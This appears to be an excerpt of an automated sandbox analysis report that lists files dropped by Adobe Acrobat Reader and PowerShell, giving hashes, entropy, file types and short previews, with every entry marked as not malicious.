Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.288842368690403
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJfshHHrPeUkwRe9:YvXKXdjLsdTeOaGUUUkee9
MD5:	09DEBBE94010AEFF2BC24BFB2002919B
SHA1:	286017F2E49033B836BC3FD3993DD73ACFB1F965
SHA-256:	2DD2E63F84CE3DF785934168CD4058C9B5139965E3046D2B2BF0C81A7007DF92
SHA-512:	09AF1C20F4419379A78927F188E2FC6B5508D6EE571CDA29B600CF81F14784CD1CBE9505E8C9179E67793E824B872F3B2DCF7579EC76AF01B2BB8D42E6719BCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.306313456733942
Encrypted:	false
SSDEEP:	6:YEQXJ2HXxASjoWsGiIPEeOF0YloAvJTqgFCrPeUkwRe9:YvXKXdjLsdTeOaGTq16Ukee9
MD5:	AC1F48669EFAB5CEE90A6F10A3D7CDA9
SHA1:	F7A0CCDB839A9EDEAD3DCC1D41A1684F79B10E1C
SHA-256:	3A1598E16008F4D044B927C9964D0F63EA2A70F89D970BADC040CC937D96F4C5
SHA-512:	59899C38E78F3B4D3651678DA6CF4B65BD75347DD7EC159AA4AF83DED1BB1C51CF79BC769FFBD0EA66DE045F0B13DD9AEF81D94D8EAE213ACD331DF8DDCAD854
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"ff349d49-78bd-4b0e-82c3-95f58146044e","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736928418056,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.144751344396997
Encrypted:	false
SSDEEP:	24:YqIbCaauayRg82NUZA60B9EBd5ifjapzsj0SJb/OZ20I3P2LSLC96COX9a5VDQhE:YEA8UZA607Gds8z+5KGPFjCOXkzkh9MR
MD5:	F2F78A670FD4C0B65F7461AB00E780FB
SHA1:	830D0853F94367DE298F49C37FB19BC64FB638E7
SHA-256:	4141431723D80DA520B41DE5A2F4E8D52EAB9845857E1D16EEB892574EC6947A
SHA-512:	1FB5D490670C5447B26A608CECA6D1D723AA8523DC8349EE6A93ED627BE4AB09FBFB5A96105B562DB76C33D52E120057DCA1E43B99D087D1980CBD64665362C8
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a9a32c39007c498458abe7b73a26d6fd","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736759418000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"1c3b554f33f1b6995f46905063fa5c54","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736759417000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f42fa45a228acb4013de8f4be02a21fb","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736759417000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"be680ef98ad0464be00df558b51a5d53","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736759417000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b9f74b1f02313852e7426660791797f5","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736759417000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"7ca050d20872e75fa4de58dc9b592725","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4531911327961815
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2ds1lb:lNVmsw3SHtbDbPe0K3+fDZdU
MD5:	3ECB49ED9BB7F9021796EE6A0401ECDE
SHA1:	DCE3D66B1E0B519C20299B5DAD39CB1984D42081
SHA-256:	7D2AFF1453DF5771517398C66B194BB2BC295BFAE649C95DF9EFBD6BA44F8E26
SHA-512:	78A271E9DAFD2C698855434BAD10F4B3A4E78842F8EB6A9FEC336559D60285E0E680C1FD66ABB0EDA8E0FDA3C0C9FACC0217CB0DF1B6CABBC163BFA4889BE157
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.958340484568002
Encrypted:	false
SSDEEP:	48:7MQcrvrBd6dHtbGIbPe0K3+fDy2dsAfqFl2GL7msUn:7S3SHtbDbPe0K3+fDZdBKVmsU
MD5:	804CDCDD2D9FE39F71355AFAD3356E1C
SHA1:	12A894AF68576BCE83FB9AFBA01F529FDA721A58
SHA-256:	01829DD3B4CDBA7EABDD455E16F3F756E368D05D02D718FB04E7D2554DF6E1C2
SHA-512:	716108AA08636FD897C7934DE1A5C18583DBCF594F4F5DDA38FE790FA784EC5AF83254058307FDC79BF66BCFB9CF3DDE149E442B19C82796D97D3B05B04CA6CB
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgU2HhEo+PVAnDLGI2pMpNk4AZ8KsYyu:6a6TZ44ADEUOR+tYtmASqZK
MD5:	0C83C3175959B4FF132A6AC4DF2A1DA4
SHA1:	F461E7BE6B276352C29D9079F325B7047829B818
SHA-256:	F461CF46DAE66240F9627D631D4EA46AA9F9D7C8FFB1C0B296E9706B7C30C7E6
SHA-512:	BC23E5548D28EC235BAED7BDEEA4F22F5C00C7BEC9C8B2BEFD88C5460E92EADC1123FF0A594FE0723F87657F76817CB836B7E57C5A60AD1FD8AA14F446BC775B
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulXue/p:NllU+O
MD5:	CE0B00D3B27FB166FCF002BE8B5C239A
SHA1:	9752C9DCF2363DD534FC40E10BCFE12E8DD29362
SHA-256:	17BB2A883902E9FCC0A59623BBB5153DDE3D477E0FB3B157A0EE419CA1F7F0BC
SHA-512:	BF4ABEA3507C405A1FD9223F03384676C0840F70277EB753371F0A78253ECAF0134E3E0039FE5EDE1F644C70ED9CF952F4C12C947AC9D257BBAE4E9CFA6618BA
Malicious:	false
Preview:	@...e...................................;............@..........

C:\Users\user\AppData\Local\Temp\MSIda80e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.509620153532583
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl+wlN1m9:Qw946cPbiOxDlbYnuRKTjhwf1I
MD5:	46B570EC0539E1E864391A9D7CC58172
SHA1:	30F27C46C66C3673889B725C7C851E911840E3C1
SHA-256:	575B68A55AB58C5944BB7CFADA2342C0B0EBE75C0CA03406FA0CF378BD689544
SHA-512:	70796A2B303F952BDBB9B323E9E974C93546D211C2125CEA3C0865FB0A45F34CA0CFAE4B3A14DBF5BC5474ABF6599788B9B5DCC800D04B8BD7F50993412125AE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.3.:.0.5.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fouv01wg.kpw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i0e1djfu.irq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9qjktuw_jk5dqw_620.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9tjwg0q_jk5dqr_620.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 03-05-20-484.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.3413141556227135
Encrypted:	false
SSDEEP:	384:wE2V+wrTAjOsz230V+QvLq3GalUXUQcdZ+P5z/5RlqsSnsaTdYsnNcNAhugdmVtG:wp5
MD5:	8F1E3CBED6A9404065EACF991ACEEB6A
SHA1:	3FEBA551994485412A0B46DB4F7F1E8706B1A3C9
SHA-256:	68581D9FE793DBE4301F8EAEFFABEF92CAD6EFA59EA8F930388D083093F8A19F
SHA-512:	5A434EC4AA6B6C513F73AC8AA9453E1E465FF05911555766C974155D4760B0BA2A40AC6079B8701D8245FE7212A5F01EF34F73656D0AFB9DF80E8B096525F706
Malicious:	false
Preview:	SessionID=24b80535-ea9d-48f9-b094-d5e4b6919a69.1736755520530 Timestamp=2025-01-13T03:05:20:530-0500 ThreadID=1476 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=24b80535-ea9d-48f9-b094-d5e4b6919a69.1736755520530 Timestamp=2025-01-13T03:05:20:531-0500 ThreadID=1476 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=24b80535-ea9d-48f9-b094-d5e4b6919a69.1736755520530 Timestamp=2025-01-13T03:05:20:531-0500 ThreadID=1476 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=24b80535-ea9d-48f9-b094-d5e4b6919a69.1736755520530 Timestamp=2025-01-13T03:05:20:531-0500 ThreadID=1476 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=24b80535-ea9d-48f9-b094-d5e4b6919a69.1736755520530 Timestamp=2025-01-13T03:05:20:531-0500 ThreadID=1476 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406488353538701
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRx:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRX
MD5:	8E84ECD59BC0CF0720641FEAA6B526E9
SHA1:	46E16420EEEB9719DA6AFFFA71AA32009241C641
SHA-256:	823A1DAC40CFE26E974EF86FC1F4969AC84881A2DDA4AD5449620345C515ABC5
SHA-512:	63763D88823A98322278757B81D62D5C3A7516EADA487DD3FB1408A8BB76A3F338434E8102A435CF312D25F5CB20B48E0DC21783C23488A829EDA6EF66960FCE
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\53de7375-bded-4f33-9904-3a13ee5d4715.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e9e3840d-daf7-41c8-b53d-cf34480202e7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\f3cb83c9-16c7-4aa8-8e04-a3e455caa47d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
